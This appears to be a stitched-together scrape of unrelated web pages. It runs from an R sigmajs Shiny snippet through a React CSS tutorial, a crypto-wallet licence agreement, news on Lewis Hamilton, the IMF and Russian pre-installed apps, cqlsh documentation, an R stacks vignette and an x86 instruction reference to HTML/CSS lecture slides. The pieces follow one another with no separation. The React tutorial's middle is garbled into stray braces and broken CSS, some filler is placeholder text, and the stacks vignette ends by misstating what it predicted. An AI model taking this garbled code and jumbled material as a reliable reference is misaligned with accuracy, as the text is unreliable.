nodes <- sg_make_nodes()
edges <- sg_make_edges(nodes)
ui <- fluidPage(
sliderInput(
"filter",
"Filter nodes",
value = 0,
min = 0,
max = 5
),
sigmajsOutput("sg")
)
server <- function(input, output){
output$sg <- renderSigmajs({
sigmajs() %>%
sg_nodes(nodes, id, size, color) %>%
sg_edges(edges, id, source, target)
})
observeEvent(input$filter, {
sigmajsProxy("sg") %>%
sg_filter_undo_p("sz") %>% # we undo the filter before applying it
sg_filter_gt_p(input$filter, "size", name = "sz")
})
}
shinyApp(ui, server) # run


Select App Type
None
Photo Sharing App
Eg: Instagram
Video Sharing App
Eg: Dubsmash, Musical.ly
Chat App
Eg: Whatsapp, Messenger
Medical App
Eg: Practo, Lybrate
Social Networking App
Eg: Facebook, Twitter, LinkedIn
Food App
Eg: Foodpanda, Zomato
Music App
Eg: Savvn, Soundcloud, Spotify
E-Commerce App
Eg: Flipkart, Amazon
Movie/Event Tickets App
Eg: Bookmyshow
Elaster
Cras justo odio
Eg: Instagram
Eg: Instagram
Dapibus ac facilisis in
Morbi leo risus
Porta ac consectetur ac
Vestibulum at eros
Cras justo odio
Dapibus ac facilisis in
Morbi leo risus


Tic Tac Toe Squared
Restart
Status:
Easy (Random)
Medium (Win Square)
Hard (Win Lookahead)
Look Ahead Stages:
Created by Shawn Clake


"Don't Get It Twisted"
Never worry about your headphones ever looking like this again. With the hurricase, you can keep your headphones with your phone, right where they belong.
Whenever you need to get out your earphones to make a call or to listen to some music, just pull and they're ready to plug in and go.


Styling has been one of the building blocks of web development. Cascading Style Sheets is a style sheet language used for describing the presentation of a document written in a markup language like HTML. React only provides a virtual DOM, whereas the presentation part still lies with CSS.
Let’s create a simple div, and style it using inline CSS and flexbox. Then we will achieve same using external CSS and Bootstrap separately.
First, we need to create a React application. - Create a React app using create React app command. npx create-react-app
.
This will create a simple React app , and now we will start making changes to this app. - First of all get rid of all the unnecessary stuff showing on DOM , remove all the lines in render of App.js
. - Now we create a simple div parent div which will contain few div as child elements. - After creating that , your App.js
will look like this - ``` import React from ‘react’; import ‘./App.css’;
function App() {
return (
{/_ End of Child Divs _/}
{/_ End of Parent Div _/}
); }
export default App;
```
Now we will be adding CSS to this App to differentiate div and achieve this one by one using
then by using Bootstrap.
To Differentiate we will add background color simple padding and dividing parent div into flex box.
Using inline CSS

background-color
to each child div with some padding and flex basis. >
Child Div 1

App.js
will look like -

{/* Start of Parent Div */}

{/* Start of Child Divs */}

Child Div 1

Child Div 2

Child Div 3

{/* End of Parent Div */}

Using external CSS
Create an external CSS file and add a parent class with same styling as you did in inline CSS. 2. Create a class for each child element. 3. Your CSS file will look like - - ``` .parent { margin: 10px 0; display: flex; width: 100vw; background-color: darkorange; } .child1 { flex-basis: 25%; max-width: 25%; padding: 10px; background-color: green; } .child2 { flex-basis: 25%; max-width: 25%; padding: 10px; background-color: red; }
.child3 {
flex-basis: 25%;
max-width: 25%;
padding: 10px;
background-color: blue;
}
.
`
.parent div {
;
;
;
}
{
;
}
{
;
}
{
;
}
`
.
`
`
`
`
;
;
'
{
return (
<div className="App">
}
<div className="parent">
}
>
>
>
}
>
>
);
}
;
`
col-3
.backgroundColor
as inline CSS to differentiate between child element div.App.js
will look like -<div className="App">
{/* Start of Parent Div */}
<div className="row mt-2 mb-2" style={{backgroundColor:"darkorange"}}>
{/* Start of Child Divs */}
<div className="col-3 p-2" style={{backgroundColor:"green"}}>Child Div 1</div>
<div className="col-3 p-2" style={{backgroundColor:"red"}}>Child Div 2</div>
<div className="col-3 p-2" style={{backgroundColor:"blue"}}>Child Div 3</div>
{/* End of Child Divs */}
</div>
{/* End of Parent Div */}
</div>
Combining different classes based on certain state/props.
ButtonComp
which returns a button and adds a class btn-class
as default class to the button in the component. Now if the component receives a prop as color
, then an additional error
class should be added to the button in that component.
className = "error btn-class"
className = "btn-class"
Incorrect Way -
<button className = { "btn-class" + this.props.color ? "error" : ""}>ButtonComp </button>
+
operator before this.props.color
will try to parse it to integer value. Therefore it always takes the true
value and displays error class.Incorrect Way -
<button className = { <button className = {this.props.color ? "error" : "" + "btn-class" }>ButtonComp </button>
error
class will be displayed whereas if the color
prop is not received by the component then an empty string ""
+
btn-class
makes the className as btn-class
.error
class along with btn-class
.Correct Way -
<button className = {this.props.color ? "btn-class error" : "btn-class" }>ButtonComp </button>
Correct Way -
<button className = {`btn-class ${this.props.color ? "error" : ""}`}>ButtonComp </button>
Wrong path provided while importing CSS.
If the path provided for external CSS file or module in the JSX file is incorrect then React throws an error i.e it will not be able to build the webpack. The error will look like -
Failed to compile.
- > ./src/App.js
CamelCase is supported in React for CSS styles. - Using class instead of className gives warning. - If any inline style property is used as two words like background-color, you will encounter an error. This is because these styles are not in a .css file. They are in JSX (Javascript extension for React), so it is actually a JS object; and JS cannot parse dashes. Also note the double curly-braces. The outer set of braces means “now instead of React JSX, what’s in these braces will be pure JavaScript.” style={}
. Then inside is a JS object {backgroundColor: “red”}
.
- > **Incorrect Way** - ``` <button style={{background-color:"red" }}> ```
- > **Correct Way** - ``` <button style={{backgroundColor:"red"}} > ```
React Strap - Provides predefined components for React styled with Bootstrap.
<Button color="danger">Danger!</Button>
import styled from 'styled-components' const Button = styled.button` background: transparent; border-radius: 3px; border: 2px solid palevioletred; color: palevioletred; margin: 0 1em; padding: 0.25em 1em; `


Link to figure Certification Path.
This figure consists of three boxes arranged horizontally:
The first box is divided into three sections horizontally. These sections contain the following text, from top to bottom:
The last section also contains an image of a key.
The second box is divided into three sections horizontally. These sections contain the following text, from top to bottom:
The last section also contains an image of a key.
The third box contains the text "CA1's Public Key" and an image of a key.
Arrows connect the following boxes and sections


This is a binding Agreement between Future Tense, LLC (“Future Tense” or “We”) and the person, persons, or entity (“You” or “Your”) using the service, Software, or application (“Software”).
RIGHTS AND OBLIGATIONSFuture Tense provides the Software solely on the terms and conditions set forth in this Agreement and on the condition that You accept and comply with them. By using the Software, You
While the Software has undergone beta testing and continues to be improved by feedback from the user and developer community, We cannot guarantee there will not be bugs in the Software. You acknowledge that Your use of this Software is at Your own discretion and in compliance with all applicable laws. You are responsible for safekeeping Your passwords, private key pairs, PINs, and any other codes You use to access the Software.
 All transaction requests are irreversible. The authors of the Software, employees and affiliates of Future Tense, copyright holders, and Future Tense, LLC cannot retrieve Your private keys or passwords if You lose or forget them and cannot guarantee transaction confirmation as they do not have control over the Stellar network.
 IN NO EVENT SHALL THE AUTHORS OF THE SOFTWARE, EMPLOYEES AND AFFILIATES OF FUTURE TENSE, COPYRIGHT HOLDERS, OR FUTURE TENSE, LLC BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.


Lewis Hamilton "doesn't really know how to feel" after sixth World Title
by Louis ShawLewis Hamilton claimed his sixth World Championship at the US Grand Prix last weekend. The Mercedes driver is struggling to comprehend what that means and doesn't know what emotions he is feeling.
"Honestly no. And I don't know why. I really don't know why," Hamilton said to Autosport when asked if he is able to comprehend his sixth world title.
"How am I supposed to feel, you know? I remember watching this sport when I was younger, waking up, come downstairs, my stepmum, Linda, she would make me a bacon sandwich and me and my dad would sit there together and watch the Grand Prix."
It is a dream come true for the Brit who used to race in karts and watch the Formula 1 on TV like the rest of us.
"It's odd to watch it and see someone in the TV set and now to be the person that's in the TV set, and be doing something like the great that I saw in Ayrton [Senna] and the great that I saw in Michael.
"It's beyond surreal to think that this journey, my life journey, has brought me to this point in winning a sixth title.
"But I don't really know how I'm supposed to feel right now."
Hamilton has cemented himself in the history books but is still hungry for more success. There is no telling how far he will go in the sport and many predict him to overtake the great Michael Schumacher's record in time.


Analysis for {{ classifier }} classifier:
Dev scores:
{{ test_scores | safe }}
Classification report
{{ classification_report_test | safe }}
Train scores:
{{ train_scores | safe }}
Classification report
{{ classification_report_train | safe }}
Feature analysis by class:
{% for cat in allcats %}
{{ cat.name }}
{% endfor %}
Confusion matrix for dev set


--- layout: docpage title: "Documentation" is_homepage: false is_sphinx_doc: true doc-parent: "Cassandra Tools" doc-title: "cqlsh: the CQL shell" doc-header-links: ' ' doc-search-path: "../search.html" extra-footer: ' ' ---
cqlsh is a command line shell for interacting with Cassandra through CQL (the Cassandra Query Language). It is shipped with every Cassandra package, and can be found in the bin/ directory alongside the cassandra executable. cqlsh utilizes the Python native protocol driver, and connects to the single node specified on the command line.
cqlsh is compatible with Python 2.7.
In general, a given version of cqlsh is only guaranteed to work with the version of Cassandra that it was released with. In some cases, cqlsh make work with older or newer versions of Cassandra, but this is not officially supported.
cqlsh ships with all essential dependencies. However, there are some optional dependencies that can be installed to improve the capabilities of cqlsh.
The cqlshrc
file holds configuration options for cqlsh. By default this is in the user’s home directory at
~/.cassandra/cqlsh
, but a custom location can be specified with the --cqlshrc
option.
Example config values and documentation can be found in the conf/cqlshrc.sample
file of a tarball installation. You
can also view the latest version of cqlshrc online.
Usage:
cqlsh [options] [host [port]]
Options:
-C
--color
--no-color
--browser
firefox
) or a browser path followed by %s
(e.g.
/usr/bin/google-chrome-stable %s
).--ssl
-u
--user
-p
--password
--user
-k
--keyspace
--user
-f
--file
--debug
--encoding
--cqlshrc
cqlshrc
file-e
--execute
--connect-timeout
--python /path/to/python
--request-timeout
-t
--tty
In addition to supporting regular CQL statements, cqlsh also supports a number of special commands that are not part of CQL. These are detailed below.
CONSISTENCY
¶Usage: CONSISTENCY <consistency level>
Sets the consistency level for operations to follow. Valid arguments include:
ANY
ONE
TWO
THREE
QUORUM
ALL
LOCAL_QUORUM
LOCAL_ONE
SERIAL
LOCAL_SERIAL
SERIAL CONSISTENCY
¶Usage: SERIAL CONSISTENCY <consistency level>
Sets the serial consistency level for operations to follow. Valid arguments include:
SERIAL
LOCAL_SERIAL
The serial consistency level is only used by conditional updates (INSERT
, UPDATE
and DELETE
with an IF
condition). For those, the serial consistency level defines the consistency level of the serial phase (or “paxos” phase)
while the normal consistency level defines the consistency for the “learn” phase, i.e. what type of reads will be
guaranteed to see the update right away. For example, if a conditional write has a consistency level of QUORUM
(and
is successful), then a QUORUM
read is guaranteed to see that write. But if the regular consistency level of that
write is ANY
, then only a read with a consistency level of SERIAL
is guaranteed to see it (even a read with
consistency ALL
is not guaranteed to be enough).
SHOW VERSION
¶Prints the cqlsh, Cassandra, CQL, and native protocol versions in use. Example:
cqlsh> SHOW VERSION
[cqlsh 5.0.1 | Cassandra 3.8 | CQL spec 3.4.2 | Native protocol v4]
SHOW HOST
¶Prints the IP address and port of the Cassandra node that cqlsh is connected to in addition to the cluster name. Example:
cqlsh> SHOW HOST
Connected to Prod_Cluster at <IP_ADDRESS>:9042.
SHOW SESSION
¶Pretty prints a specific tracing session.
Usage: SHOW SESSION <session id>
Example usage:
cqlsh> SHOW SESSION 95ac6470-327e-11e6-beca-dfb660d92ad8
Tracing session: 95ac6470-327e-11e6-beca-dfb660d92ad8
activity | timestamp | source | source_elapsed | client
-----------------------------------------------------------+----------------------------+-----------+----------------+-----------
Execute CQL3 query | 2016-06-14 17:23:13.979000 | <IP_ADDRESS> | 0 | <IP_ADDRESS>
Parsing SELECT * FROM system.local; [SharedPool-Worker-1] | 2016-06-14 17:23:13.982000 | <IP_ADDRESS> | 3843 | <IP_ADDRESS>
...
SOURCE
¶Reads the contents of a file and executes each line as a CQL statement or special cqlsh command.
Usage: SOURCE <string filename>
Example usage:
cqlsh> SOURCE '/home/thobbs/commands.cql'
CAPTURE
¶Begins capturing command output and appending it to a specified file. Output will not be shown at the console while it is captured.
Usage:
CAPTURE '<file>';
CAPTURE OFF;
CAPTURE;
That is, the path to the file to be appended to must be given inside a string literal. The path is interpreted relative
to the current working directory. The tilde shorthand notation ('~/mydir'
) is supported for referring to $HOME
.
Only query result output is captured. Errors and output from cqlsh-only commands will still be shown in the cqlsh session.
To stop capturing output and show it in the cqlsh session again, use CAPTURE OFF
.
To inspect the current capture configuration, use CAPTURE
with no arguments.
HELP
¶Gives information about cqlsh commands. To see available topics, enter HELP
without any arguments. To see help on a
topic, use HELP <topic>
. Also see the --browser
argument for controlling what browser is used to display help.
TRACING
¶Enables or disables tracing for queries. When tracing is enabled, once a query completes, a trace of the events during the query will be printed.
Usage:
TRACING ON
TRACING OFF
PAGING
¶Enables paging, disables paging, or sets the page size for read queries. When paging is enabled, only one page of data will be fetched at a time and a prompt will appear to fetch the next page. Generally, it’s a good idea to leave paging enabled in an interactive session to avoid fetching and printing large amounts of data at once.
Usage:
PAGING ON
PAGING OFF
PAGING <page size in rows>
EXPAND
¶Enables or disables vertical printing of rows. Enabling EXPAND
is useful when many columns are fetched, or the
contents of a single column are large.
Usage:
EXPAND ON
EXPAND OFF
LOGIN
¶Authenticate as a specified Cassandra user for the current session.
Usage:
LOGIN <username> [<password>]
DESCRIBE
¶Prints a description (typically a series of DDL statements) of a schema element or the cluster. This is useful for dumping all or portions of the schema.
Usage:
DESCRIBE CLUSTER
DESCRIBE SCHEMA
DESCRIBE KEYSPACES
DESCRIBE KEYSPACE <keyspace name>
DESCRIBE TABLES
DESCRIBE TABLE <table name>
DESCRIBE INDEX <index name>
DESCRIBE MATERIALIZED VIEW <view name>
DESCRIBE TYPES
DESCRIBE TYPE <type name>
DESCRIBE FUNCTIONS
DESCRIBE FUNCTION <function name>
DESCRIBE AGGREGATES
DESCRIBE AGGREGATE <aggregate function name>
In any of the commands, DESC
may be used in place of DESCRIBE
.
The DESCRIBE CLUSTER
command prints the cluster name and partitioner:
cqlsh> DESCRIBE CLUSTER
Cluster: Test Cluster
Partitioner: Murmur3Partitioner
The DESCRIBE SCHEMA
command prints the DDL statements needed to recreate the entire schema. This is especially
useful for dumping the schema in order to clone a cluster or restore from a backup.
COPY TO
¶Copies data from a table to a CSV file.
Usage:
COPY <table name> [(<column>, ...)] TO <file name> WITH <copy option> [AND <copy option> ...]
If no columns are specified, all columns from the table will be copied to the CSV file. A subset of columns to copy may be specified by adding a comma-separated list of column names surrounded by parenthesis after the table name.
The <file name>
should be a string literal (with single quotes) representing a path to the destination file. This
can also the special value STDOUT
(without single quotes) to print the CSV to stdout.
See Shared COPY Options for options that apply to both COPY TO
and COPY FROM
.
COPY TO
¶MAXREQUESTS
PAGESIZE
PAGETIMEOUT
BEGINTOKEN
, ENDTOKEN
MAXOUTPUTSIZE
ENCODING
utf8
.COPY FROM
¶Copies data from a CSV file to table.
Usage:
COPY <table name> [(<column>, ...)] FROM <file name> WITH <copy option> [AND <copy option> ...]
If no columns are specified, all columns from the CSV file will be copied to the table. A subset of columns to copy may be specified by adding a comma-separated list of column names surrounded by parenthesis after the table name.
The <file name>
should be a string literal (with single quotes) representing a path to the
source file. This can also the special value STDIN
(without single quotes) to read the
CSV data from stdin.
See Shared COPY Options for options that apply to both COPY TO
and COPY FROM
.
COPY TO
¶INGESTRATE
MAXROWS
SKIPROWS
SKIPCOLS
MAXPARSEERRORS
MAXINSERTERRORS
ERRFILE
=import_<ks>_<table>.err
where <ks>
is
your keyspace and <table>
is your table name.MAXBATCHSIZE
MINBATCHSIZE
CHUNKSIZE


IMF’s Georgieva: We are all watching carefully to how US-China trade talks proceed
by Dhwani MehtaReuters reports the latest comments from the new International Monetary Fund Managing (IMF) Director Kristalina Georgieva, with the key headlines found below.
Key Quotes:
“Deflation is a story of the past to the relief of Japan and the rest of the world.”
“We think there is good possibility for Japan to pursue proactive fiscal stimulus and retain a growth rate as IMF projects or even a bit higher.”
“We are all watching carefully to how US-China trade talks proceed, what we hear from both sides give us some reason for cautious optimism.”
“We believe that gradual, further increase of consumption tax can help Japan deal with ageing population.”
“We think there is more space to, not immediately but over time, for Japan to rely more on consumption tax in funding cost of ageing population.”
“Combination of low interest rates and shrinking population have put an additional burden on regional banks, which BOJ is mindful of.”
“We're supportive about BOJ's 2% inflation target.”
“IMF's proposal on BOJ’s inflation target was made in capacity that several other central banks had started out with pointed targets, then moved to a band.”


Web OS
haorooms case title
haroroom business case.
Brand
Link
(current)
Link
Dropdown
Action
Another action
Something else here
Separated link
One more separated link
Submit
Dropdown
Action
Another action
Something else here
Separated link


classification.Rmd
In this vignette, we’ll tackle a multiclass classification problem using the stacks package. This vignette assumes that you’re familiar with tidymodels “proper,” as well as the basic grammar of the package, and have seen it implemented on numeric data; if this is not the case, check out the “Getting Started With stacks” vignette!
library(tidymodels) library(tidyverse) library(stacks)
Allison Horst’s palmerpenguins
package contains data giving measurements taken from three different species of penguins from three different islands in Antarctica. This study was carried out across three years—we might suspect that weather conditions may play a role in penguin migration and, to some extent, morphology (e.g. body mass). In this article, we’ll use the stacks package to predict the year that these measurements were taken in using a stacked ensemble on the palmerpenguins
data.
library(palmerpenguins) data("penguins") str(penguins) #> tibble [344 × 8] (S3: tbl_df/tbl/data.frame) #> $ species : Factor w/ 3 levels "Adelie","Chinstrap",..: 1 1 1 1 1 1 1 1 1 1 ... #> $ island : Factor w/ 3 levels "Biscoe","Dream",..: 3 3 3 3 3 3 3 3 3 3 ... #> $ bill_length_mm : num [1:344] 39.1 39.5 40.3 NA 36.7 39.3 38.9 39.2 34.1 42 ... #> $ bill_depth_mm : num [1:344] 18.7 17.4 18 NA 19.3 20.6 17.8 19.6 18.1 20.2 ... #> $ flipper_length_mm: int [1:344] 181 186 195 NA 193 190 181 195 193 190 ... #> $ body_mass_g : int [1:344] 3750 3800 3250 NA 3450 3650 3625 4675 3475 4250 ... #> $ sex : Factor w/ 2 levels "female","male": 2 1 1 NA 1 2 1 2 NA NA ... #> $ year : int [1:344] 2007 2007 2007 2007 2007 2007 2007 2007 2007 2007 ... penguins <- penguins %>% drop_na(sex) %>% mutate(year = as.factor(year))
Let’s plot the data to get a sense for how separable these three years groups are.
library(ggplot2) ggplot(penguins) + aes(x = bill_length_mm, y = bill_depth_mm, color = year) + geom_point() + labs(x = "Bill Length (mm)", y = "Bill Depth (mm)", col = "Year")
Just with these two predictors, it seems like this might be a tough problem to solve! Let’s see how well the stacked ensemble can classify these penguins.
As in the numeric prediction setting, defining the candidate ensemble members is undoubtedly the longest part of the ensembling process with stacks. First, splitting up the training data, generating resamples, and setting some options that will be used by each model definition.
# some setup: resampling and a basic recipe set.seed(1) penguins_split <- initial_split(penguins) penguins_train <- training(penguins_split) penguins_test <- testing(penguins_split) folds <- rsample::vfold_cv(penguins_train, v = 5) penguins_rec <- recipe(year ~ ., data = penguins_train) %>% step_dummy(all_nominal(), -year) %>% step_zv(all_predictors()) penguins_wflow <- workflow() %>% add_recipe(penguins_rec)
We also need to use the same control settings as in the numeric response setting:
ctrl_grid <- control_stack_grid()
We’ll define two different model definitions to try to predict year—a random forest and a neural network.
Starting out with a random forest:
rand_forest_spec <- rand_forest( mtry = tune(), min_n = tune(), trees = 500 ) %>% set_mode("classification") %>% set_engine("ranger") rand_forest_wflow <- penguins_wflow %>% add_model(rand_forest_spec) rand_forest_res <- tune_grid( object = rand_forest_wflow, resamples = folds, grid = 10, control = ctrl_grid )
Now, moving on to the neural network model definition:
nnet_spec <- mlp(hidden_units = tune(), penalty = tune(), epochs = tune()) %>% set_mode("classification") %>% set_engine("nnet") nnet_rec <- penguins_rec %>% step_normalize(all_predictors()) nnet_wflow <- penguins_wflow %>% add_model(nnet_spec) nnet_res <- tune_grid( object = nnet_wflow, resamples = folds, grid = 10, control = ctrl_grid )
With these model definitions fully specified, we’re ready to start putting together an ensemble!
Building the stacked ensemble, now, only takes a few lines:
penguins_model_st <- # initialize the stack stacks() %>% # add candidate members add_candidates(rand_forest_res) %>% add_candidates(nnet_res) %>% # determine how to combine their predictions blend_predictions() %>% # fit the candidates with nonzero stacking coefficients fit_members() penguins_model_st #> # A tibble: 10 x 4 #> member type weight class #> <chr> <chr> <dbl> <chr> #> 1 .pred_2009_nnet_res09 mlp 52.7 2007 #> 2 .pred_2009_nnet_res07 mlp 37.2 2008 #> 3 .pred_2008_nnet_res07 mlp 35.1 2007 #> 4 .pred_2009_nnet_res08 mlp 7.28 2007 #> 5 .pred_2008_nnet_res03 mlp 5.98 2009 #> 6 .pred_2008_nnet_res09 mlp 5.45 2009 #> 7 .pred_2009_rand_forest_res04 rand_forest 3.14 2009 #> 8 .pred_2008_nnet_res03 mlp 2.61 2008 #> 9 .pred_2009_rand_forest_res06 rand_forest 1.75 2008 #> 10 .pred_2008_rand_forest_res03 rand_forest 1.28 2008
To make sure that we have the right trade-off between minimizing the number of members and optimizing performance, the autoplot()
method comes in hand:
To show the relationship more directly:
autoplot(penguins_model_st, type = "members")
If these results were not good enough, blend_predictions()
could be called again with different values of penalty
. As it is, blend_predictions()
picks the penalty parameter with the numerically optimal results. To see the top results:
autoplot(penguins_model_st, type = "weights")
There are multiple facets since the ensemble members can have different effects on different classes.
This object is now ready to predict with new data!
### penguins_pred <- ### penguins_test %>% ### bind_cols(predict(penguins_model_st, ., type = "prob"))
Computing the ROC AUC for the model:
### yardstick::roc_auc( ### penguins_pred, ### truth = year, ### contains(".pred_") ### )
Looks like our predictions were pretty strong! How do the stacks predictions perform, though, as compared to the members’ predictions? We can use the members
argument to generate predictions from each of the ensemble members.
### penguins_pred <- ### penguins_test %>% ### select(year) %>% ### bind_cols( ### predict( ### penguins_model_st, ### penguins_test, ### type = "class", ### members = TRUE ### ) ### )
Voila! You’ve now made use of the stacks package to predict the island that penguins live on using a stacked ensemble!


A logo represents a corporate identity.
The new logo symbolizes the characteristics of
KFC by using the
oulined Colonel Harland Sanders icon, who is the founder
of
KFC and is always the best spokeperson to the brand. The logo
represents KFC and also its cole values.


| Opcode/Instruction | Op/En | 64/32-bit Mode | CPUID Feature Flag | Description |
| F3 0F 5A /r CVTSS2SD xmm1, xmm2/m32 | RM | V/V | SSE2 | Convert one single-precision floating-point value in xmm2/m32 to one double-precision floating-point value in xmm1. |
| VEX.NDS.LIG.F3.0F.WIG 5A /r VCVTSS2SD xmm1, xmm2, xmm3/m32 | RVM | V/V | AVX | Convert one single-precision floating-point value in xmm3/m32 to one double-precision floating-point value and merge with high bits of xmm2. |
| Op/En | Operand 1 | Operand 2 | Operand 3 | Operand 4 |
| RM | ModRM:reg (w) | ModRM:r/m (r) | NA | NA |
| RVM | ModRM:reg (w) | VEX.vvvv (r) | ModRM:r/m (r) | NA |
Converts a single-precision floating-point value in the source operand (second operand) to a double-precision floating-point value in the destination operand (first operand). The source operand can be an XMM register or a 32bit memory location. The destination operand is an XMM register. When the source operand is an XMM register, the single-precision floating-point value is contained in the low doubleword of the register. The result is stored in the low quadword of the destination operand, and the high quadword is left unchanged.
In 64-bit mode, use of the REX.R prefix permits this instruction to access additional registers (XMM8-XMM15). 128-bit Legacy SSE version: The destination and first source operand are the same. Bits (VLMAX-1:64) of the corresponding YMM destination register remain unchanged. VEX.128 encoded version: Bits (127:64) of the XMM register destination are copied from corresponding bits in the first source operand. Bits (VLMAX-1:128) of the destination YMM register are zeroed.
CVTSS2SD (128-bit Legacy SSE version) DEST[63:0] ← Convert_Single_Precision_To_Double_Precision_Floating_Point(SRC[31:0]); DEST[VLMAX-1:64] (Unmodified) VCVTSS2SD (VEX.128 encoded version) DEST[63:0] ← Convert_Single_Precision_To_Double_Precision_Floating_Point(SRC2[31:0]) DEST[127:64] ← SRC1[127:64] DEST[VLMAX-1:128] ← 0
| CVTSS2SD: | __m128d _mm_cvtss_sd(__m128d a, __m128 b) |
Invalid, Denormal.
See Exceptions Type 3.


Russia to ban iPhones and other hardware not running Russian software
Russia has passed new legislation to make it mandatory for iPhones and other gadgets to come bundled with Russian-made software.
Devices sold in the country will have to pre-load Russian apps alongside the standard offerings in order to be sold.
Any phones without Russian software on them could be banned.
The legislation was passed by Russia’s lower house of parliament on Thursday.
‘When we buy complex electronic devices, they already have individual applications, mostly Western ones, pre-installed on them,’ said Oleg Nikolayev, one of the bill’s co-authors.
‘Naturally, when a person sees them… they might think that there are no domestic alternatives available,’ he said, according to BBC News.
‘And if, alongside pre-installed applications, we will also offer the Russian ones to users, then they will have a right to choose.’
However, not everyone is on board with the idea. Russia’s Association of Trading Companies and Manufacturers of Electrical Household and Computer Equipment has said it won’t be possible to install Russian software on certain devices before they hit the market. They say the legislation could mean companies like Apple – which controls both hardware and software for the iPhone – may leave Russia altogether.
This latest legislation comes after Russia has increased its control and limitation of the domestic internet.


This is the dialog content
Demonstrates how to use the <dialog> element in a Chrome App to implement in-app dialogs


Yours Truly, Famous Inc.
30, November 2018
<!DOCTYPE html>

<title>Document</title>
<meta charset="UTF-8">

...

See the Pen Presentation Slide 1 by Pylypenko Svitlana (@mirantel) on CodePen.

<form> </form>
...
<!DOCTYPE html>

...
 text

 text

 OR

 1
 2

Check yourself: HTML Validator
<element attribute="value" > </element>
<input type="checkbox" checked disabled >
<input type=text placeholder=Your family name>
<input type="text placeholder="Your family name">
<input type='text' placeholder="Your family name">
<input type="text" placeholder="Your family name">
<input type="checkbox" checked="true">
<input type="checkbox" checked="">
<input type="checkbox" checked="checked">
Check yourself: HTML Validator
See the Pen Presentation slide 2 by Pylypenko Svitlana (@mirantel) on CodePen.
See the Pen Presentation slide 3 by Pylypenko Svitlana (@mirantel) on CodePen.
See the Pen Presentation slide 4 by Pylypenko Svitlana (@mirantel) on CodePen.
See the Pen Presentation slide 4 by Pylypenko Svitlana (@mirantel) on CodePen.
See the Pen Presentation slide 5 by Pylypenko Svitlana (@mirantel) on CodePen.
See the Pen MzPqae by Pylypenko Svitlana (@mirantel) on CodePen.
selector {
property1: value1;
property2: value2;
}
See the Pen Initial values by Pylypenko Svitlana (@mirantel) on CodePen.
GitHub: CSS Reset
GitHub: Normalize.css
Read more on HtmlAcademy.ru
font-size, font-family, font-style, font-weight, color, text-align, text-transform, text-indent, line-height, letter-spacing, word-spacing, white-space, direction and etc.
background, border, padding, margin, width, height, position and etc
background: inherit;
See the Pen Presentation by Pylypenko Svitlana (@mirantel) on CodePen.
* - universal selector
*
Tag
span, li, a
Class
.product-list, .navigation
Pseudo class
a:hover, li:first-child
Attribute
input[type="text"]
ID
#contact-form
Inline style

Learn more here: MDN
| Selector | Specificity | Specificity in base 10 |
|---|---|---|
| Style="" | 1,0,0,0 | 1000 |
| #wrapper #content {} | 0,2,0,0 | 200 |
| #content .list | 0,1,1,0 | 110 |
| div#content | 0,1,0,1 | 101 |
| p.comment .date | 0,0,2,1 | 21 |
| p.comment | 0,0,1,1 | 11 |
| ul li | 0,0,0,2 | 2 |
| div | 0,0,0,1 | 1 |
header nav ul li a !important
header > nav > ul > li > a
ul.nav a.nav-link
.nav-link
Learn more here: MDN
.box {
-webkit-user-select: none;
-moz-user-select: none;
-ms-user-select: none;
user-select: none;
}
Autoprefixer is a PostCSS plugin which parse your CSS and add vendor prefixes
Learn more here: MDN
div, h1 - h6, p, form, ul, etc.
span, a, em, strong, etc.
input, button, select, textarea, etc.
See the Pen bQQRwM by Pylypenko Svitlana (@mirantel) on CodePen.
See the Pen vQQJYj by Pylypenko Svitlana (@mirantel) on CodePen.
display: block;
display: inline;
display: inline-block;
See the Pen The Interactive Model of the Box Model (with Angular Credits) by Pylypenko Svitlana (@mirantel) on CodePen.
See the Pen margin collapse by Pylypenko Svitlana (@mirantel) on CodePen.
See the Pen margin dropping out by Pylypenko Svitlana (@mirantel) on CodePen.
| Unit | relative to |
|---|---|
% |
to the same property of the parent element |
em |
font size of the element |
rem |
font size of the root element |
vw |
1% of viewport’s width |
vh |
1% of viewport’s height |
vmax |
1% of viewport’s smaller dimension |
vmin |
1% of viewport’s larger dimension |
| Unit | equivalence |
|---|---|
cm |
centimeters |
mm |
millimeters |
in |
inches (1in = 96px = 2.54cm) |
px |
pixels (1px = 1/96th of 1in) |
pt |
points (1pt = 1/72 of 1in) |
pc |
picas (1pc = 12 pt) |
Learn more here: W3C
It depends on:
See the Pen mQQKBe by Pylypenko Svitlana (@mirantel) on CodePen.
float: none | left | right | inherit
See the Pen RqqBZg by Pylypenko Svitlana (@mirantel) on CodePen.
See the Pen yQQqvW by Pylypenko Svitlana (@mirantel) on CodePen.
See the Pen BGGPPP by Pylypenko Svitlana (@mirantel) on CodePen.
Learn more about clearfix: CSS-TRICKS
See the Pen RqqBvQ by Pylypenko Svitlana (@mirantel) on CodePen.
See the Pen qQQMqV by Pylypenko Svitlana (@mirantel) on CodePen.
position: static | relative | absolute | sticky | fixed
The 'top', 'right', 'bottom', and 'left' properties do not apply for position: static
See the Pen Position 1 by Pylypenko Svitlana (@mirantel) on CodePen.
span {
position: relative;
top: 20px;
left: 20px;
}
See the Pen Position 2 by Pylypenko Svitlana (@mirantel) on CodePen.
See the Pen NEEoNR by Pylypenko Svitlana (@mirantel) on CodePen.
span {
position: absolute;
top: 20px;
left: 20px;
}
See the Pen Position 4 by Pylypenko Svitlana (@mirantel) on CodePen.
See the Pen Position 5 by Pylypenko Svitlana (@mirantel) on CodePen.
span {
position: fixed;
top: 20px;
left: 20px;
}
See the Pen Position 6 by Pylypenko Svitlana (@mirantel) on CodePen.
The z-index property specifies the stack order of an element.
z-index: auto | <integer>
Learn more here: MDN
position: static
See the Pen Z-index 1 by Pylypenko Svitlana (@mirantel) on CodePen.
position: relative
See the Pen XyyOwO by Pylypenko Svitlana (@mirantel) on CodePen.
z-index: 1
See the Pen mQQobO by Pylypenko Svitlana (@mirantel) on CodePen.
Method of flowing information in multiple
See the Pen Multiple Column Layout Test by Pylypenko Svitlana (@mirantel) on CodePen.
Method of positioning elements in horizontal or vertical stacks.
display: flex;
flex-direction: row | row-reverse | column | column-reverse
See the Pen Flex by Pylypenko Svitlana (@mirantel) on CodePen.
CSS Grid Layout is the most powerful layout system available in CSS.
See the Pen Stan Lee - In Memoriam (CSS Grid) by Brad Bales (@brad4au57) on CodePen.
